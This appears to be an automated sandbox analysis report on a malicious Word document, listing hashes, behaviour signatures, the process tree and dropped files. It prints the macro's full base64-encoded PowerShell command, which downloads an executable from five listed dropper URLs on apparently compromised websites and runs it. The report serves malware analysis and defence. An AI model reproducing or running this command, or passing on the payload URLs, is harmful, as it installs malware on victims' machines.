Analysis

  • max time kernel
    125s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-06-2024 23:32

General

  • Target

    a71e4a779943aaa028af9996b614d9d9_JaffaCakes118.doc

  • Size

    131KB

  • MD5

    a71e4a779943aaa028af9996b614d9d9

  • SHA1

    da8b16fa034801d3eb11fb92741cb3bdfa63b608

  • SHA256

    4121261a90ceec70d342e21f322d96ec9ef7c64c06534c2dcc2f2ec69ed9bf8e

  • SHA512

    17b3f638920ab70e825cdbfac8b4ea1d995ff6a741ddf69027df2e55e0e3a4b077760048f9aa89c7a108142a7a214725fe73f111ecb88eb84fd13321ebdd2775

  • SSDEEP

    3072:H77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8q7KO8owNx+EIyj:H77HUUUUUUUUUUUUUUUUUUUT52Vq8o4l

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://en.efesusstone.com/wp-content/uploads/EMBVtaupO/

exe.dropper

http://amazingtraps.com/wp-includes/KZYJuTjJp/

exe.dropper

http://bramastudio.com/wp-includes/mvBAPWMFc/

exe.dropper

http://revistadaybynight.com.br/sac/i2ofs9_mpi8a73dgz-4/

exe.dropper

http://boss-mobile.co.uk/wp-content/u6cyu6_m3atjj2-51/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a71e4a779943aaa028af9996b614d9d9_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1968
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:3116
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -nop -e JABiAEEAegBXADAAegA5AEIAPQAnAEIATAB3AEsAUABCAGsAaAAnADsAJAB3AE0AdgBHAEMAagAgAD0AIAAnADEANgAyACcAOwAkAEQAYQBxAGkAdAAyAGgAUgA9ACcAWQB1ADAAVgBHADgANgAnADsAJABPADcANgBCADYAbwBkAEEAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAHcATQB2AEcAQwBqACsAJwAuAGUAeABlACcAOwAkAEQANQBfAHEAOQBvAD0AJwB6AHQAaABmAFoAVwBHAGMAJwA7ACQASwBFAFQAagBCAFYAegAyAD0AJgAoACcAbgBlAHcAJwArACcALQAnACsAJwBvAGIAagBlACcAKwAnAGMAdAAnACkAIABOAEUAVAAuAFcAZQBiAEMATABgAEkARQBgAE4AdAA7ACQARABuAHMANABxAFQAPQAnAGgAdAB0AHAAOgAvAC8AZQBuAC4AZQBmAGUAcwB1AHMAcwB0AG8AbgBlAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdQBwAGwAbwBhAGQAcwAvAEUATQBCAFYAdABhAHUAcABPAC8AQABoAHQAdABwADoALwAvAGEAbQBhAHoAaQBuAGcAdAByAGEAcABzAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBLAFoAWQBKAHUAVABqAEoAcAAvAEAAaAB0AHQAcAA6AC8ALwBiAHIAYQBtAGEAcwB0AHUAZABpAG8ALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAG0AdgBCAEEAUABXAE0ARgBjAC8AQABoAHQAdABwADoALwAvAHIAZQB2AGkAcwB0AGEAZABhAHkAYgB5AG4AaQBnAGgAdAAuAGMAbwBtAC4AYgByAC8AcwBhAGMALwBpADIAbwBmAHMAOQBfAG0AcABpADgAYQA3ADMAZABnAHoALQA0AC8AQABoAHQAdABwADoALwAvAGIAbwBzAHMALQBtAG8AYgBpAGwAZQAuAGMAbwAuAHUAawAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1ADYAYwB5AHUANgBfAG0AMwBhAHQAagBqADIALQA1ADEALwAnAC4AcwBwAEwAaQB0ACgAJwBAACcAKQA7ACQAdABRADAAYQB1AGgAPQAnAFgAegB6AEoARQBxAGsAJwA7AGYAbwByAGUAYQBjAGgAKAAkAGwAQgBQAFoAQgBJAHoAMwAgAGkAbgAgACQARABuAHMANABxAFQAKQB7AHQAcgB5AHsAJABLAEUAVABqAEIAVgB6ADIALgBEAE8AVwBuAGwATwBBAGQAZgBpAGwARQAoACQAbABCAFAAWgBCAEkAegAzACwAIAAkAE8ANwA2AEIANgBvAGQAQQApADsAJABxAEUAdQB0ADIASwBEAGsAPQAnAHMARABYADQANABmAHcAJwA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABPADcANgBCADYAbwBkAEEAKQAuAGwARQBuAEcAdABoACAALQBnAGUAIAAyADAANwAwADEAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AHMAVABBAFIAdAAoACQATwA3ADYAQgA2AG8AZABBACkAOwAkAGgASgBkAFAAWQBMAD0AJwBwAHAAMgA2AFYAWQBSAFgAJwA7AGIAcgBlAGEAawA7ACQAQgBHADcAMgBNADcAagA9ACcAdgA3AG8AUQBvADUAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAaQBtAGYAVQBwAGEAPQAnAHUAdgA4AHMAMABtAGoAbwAnAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1788
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=3960,i,8998666007764333392,14724298544432336038,262144 --variations-seed-version --mojo-platform-channel-handle=4448 /prefetch:8
      1⤵
        PID:2768

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\260B09B0.wmf

        Filesize

        700B

        MD5

        7b74b69488ab052b3689353bf1c7dd10

        SHA1

        c37b909b9a1adddd704e6c3916aab8f3a69f9906

        SHA256

        d43f0f56fcd335067356e00cf094b6052f68533733baaa62f275f4119e0a18bf

        SHA512

        ca60a85369e7c2a1c1c9bad289be4e56bbda534d1f76dff34a52b2c11e489bd8b0533024e505fd9035740b63f9a44e4f5b95d3523f56e2b9e4b1a0635fa4ec33

      • C:\Users\Admin\AppData\Local\Temp\TCD1AEB.tmp\sist02.xsl

        Filesize

        245KB

        MD5

        f883b260a8d67082ea895c14bf56dd56

        SHA1

        7954565c1f243d46ad3b1e2f1baf3281451fc14b

        SHA256

        ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

        SHA512

        d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ussck10a.kq3.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/1788-60-0x0000014D6D190000-0x0000014D6D1B2000-memory.dmp

        Filesize

        136KB

      • memory/1968-6-0x00007FFD17BF0000-0x00007FFD17DE5000-memory.dmp

        Filesize

        2.0MB

      • memory/1968-16-0x00007FFD17BF0000-0x00007FFD17DE5000-memory.dmp

        Filesize

        2.0MB

      • memory/1968-7-0x00007FFCD7C70000-0x00007FFCD7C80000-memory.dmp

        Filesize

        64KB

      • memory/1968-0-0x00007FFCD7C70000-0x00007FFCD7C80000-memory.dmp

        Filesize

        64KB

      • memory/1968-1-0x00007FFCD7C70000-0x00007FFCD7C80000-memory.dmp

        Filesize

        64KB

      • memory/1968-9-0x00007FFD17BF0000-0x00007FFD17DE5000-memory.dmp

        Filesize

        2.0MB

      • memory/1968-10-0x00007FFD17BF0000-0x00007FFD17DE5000-memory.dmp

        Filesize

        2.0MB

      • memory/1968-11-0x00007FFD17BF0000-0x00007FFD17DE5000-memory.dmp

        Filesize

        2.0MB

      • memory/1968-13-0x00007FFD17BF0000-0x00007FFD17DE5000-memory.dmp

        Filesize

        2.0MB

      • memory/1968-12-0x00007FFCD55F0000-0x00007FFCD5600000-memory.dmp

        Filesize

        64KB

      • memory/1968-15-0x00007FFD17BF0000-0x00007FFD17DE5000-memory.dmp

        Filesize

        2.0MB

      • memory/1968-8-0x00007FFD17BF0000-0x00007FFD17DE5000-memory.dmp

        Filesize

        2.0MB

      • memory/1968-14-0x00007FFD17BF0000-0x00007FFD17DE5000-memory.dmp

        Filesize

        2.0MB

      • memory/1968-17-0x00007FFCD55F0000-0x00007FFCD5600000-memory.dmp

        Filesize

        64KB

      • memory/1968-2-0x00007FFCD7C70000-0x00007FFCD7C80000-memory.dmp

        Filesize

        64KB

      • memory/1968-3-0x00007FFD17C8D000-0x00007FFD17C8E000-memory.dmp

        Filesize

        4KB

      • memory/1968-4-0x00007FFCD7C70000-0x00007FFCD7C80000-memory.dmp

        Filesize

        64KB

      • memory/1968-5-0x00007FFD17BF0000-0x00007FFD17DE5000-memory.dmp

        Filesize

        2.0MB

      • memory/1968-561-0x00007FFD17BF0000-0x00007FFD17DE5000-memory.dmp

        Filesize

        2.0MB

      • memory/1968-589-0x00007FFCD7C70000-0x00007FFCD7C80000-memory.dmp

        Filesize

        64KB

      • memory/1968-590-0x00007FFCD7C70000-0x00007FFCD7C80000-memory.dmp

        Filesize

        64KB

      • memory/1968-591-0x00007FFCD7C70000-0x00007FFCD7C80000-memory.dmp

        Filesize

        64KB

      • memory/1968-588-0x00007FFCD7C70000-0x00007FFCD7C80000-memory.dmp

        Filesize

        64KB

      • memory/1968-592-0x00007FFD17BF0000-0x00007FFD17DE5000-memory.dmp

        Filesize

        2.0MB